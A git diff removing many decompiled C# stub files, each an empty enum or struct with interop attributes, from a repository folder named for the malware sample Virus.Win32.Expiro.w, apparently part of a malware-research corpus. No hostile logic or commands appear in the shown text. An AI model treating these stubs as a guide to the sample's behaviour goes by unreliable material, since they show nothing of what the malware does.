b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0003.cs deleted file mode 100644 index e5c7728a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0209_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL___MIDL_itf_shobjidl_0209_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0001.cs deleted file mode 100644 index f7d7601b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0211_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0211_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0002.cs deleted file mode 100644 index fdf570ba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0211_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0211_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0211_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0001.cs deleted file mode 100644 index cf1a48ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0212_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0212_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0002.cs deleted file mode 100644 index 49604405..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0212_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0212_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0212_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0230_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0230_0002.cs deleted file mode 100644 index 86bd9d8b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0230_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0230_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0230_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0241_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0241_0001.cs deleted file mode 100644 index 211b606a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0241_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0241_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL___MIDL_itf_shobjidl_0241_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0247_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0247_0001.cs deleted file mode 100644 index 7328542b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0247_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0247_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0247_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0001.cs deleted file mode 100644 index b94e4a73..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0251_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0251_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0002.cs deleted file mode 100644 index f3a55abe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0251_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0251_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0251_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0001.cs deleted file mode 100644 index 8835cbed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0260_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0260_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0002.cs deleted file mode 100644 index 88c24f97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0260_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0260_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0003.cs deleted file mode 100644 index ad3b63ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0260_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0260_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0260_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__enative_startup_state.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__enative_startup_state.cs deleted file mode 100644 index 5a4a5e96..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__enative_startup_state.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __enative_startup_state -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __enative_startup_state -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_iobuf.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_iobuf.cs deleted file mode 100644 index c40fd2ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_iobuf.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _iobuf -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _iobuf -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ldiv_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ldiv_t.cs deleted file mode 100644 index 21a62736..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ldiv_t.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ldiv_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ldiv_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIBaseClassDescriptor2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIBaseClassDescriptor2.cs deleted file mode 100644 index 5bba35d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIBaseClassDescriptor2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _s__RTTIBaseClassDescriptor2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct _s__RTTIBaseClassDescriptor2 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIClassHierarchyDescriptor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIClassHierarchyDescriptor.cs deleted file mode 100644 index 014fb1d4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTIClassHierarchyDescriptor.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _s__RTTIClassHierarchyDescriptor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct _s__RTTIClassHierarchyDescriptor -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTICompleteObjectLocator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTICompleteObjectLocator.cs deleted file mode 100644 index 2b31a962..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_s__RTTICompleteObjectLocator.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _s__RTTICompleteObjectLocator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 20)] -internal struct _s__RTTICompleteObjectLocator -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagACENUMOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagACENUMOPTION.cs deleted file mode 100644 index de5d73c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagACENUMOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagACENUMOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagACENUMOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETELISTOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETELISTOPTIONS.cs deleted file mode 100644 index 38df49f3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETELISTOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETELISTOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETELISTOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETEOPTIONS.cs deleted file mode 100644 index d588052a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagAUTOCOMPLETEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _tagAUTOCOMPLETEOPTIONS -{ -} diff --git 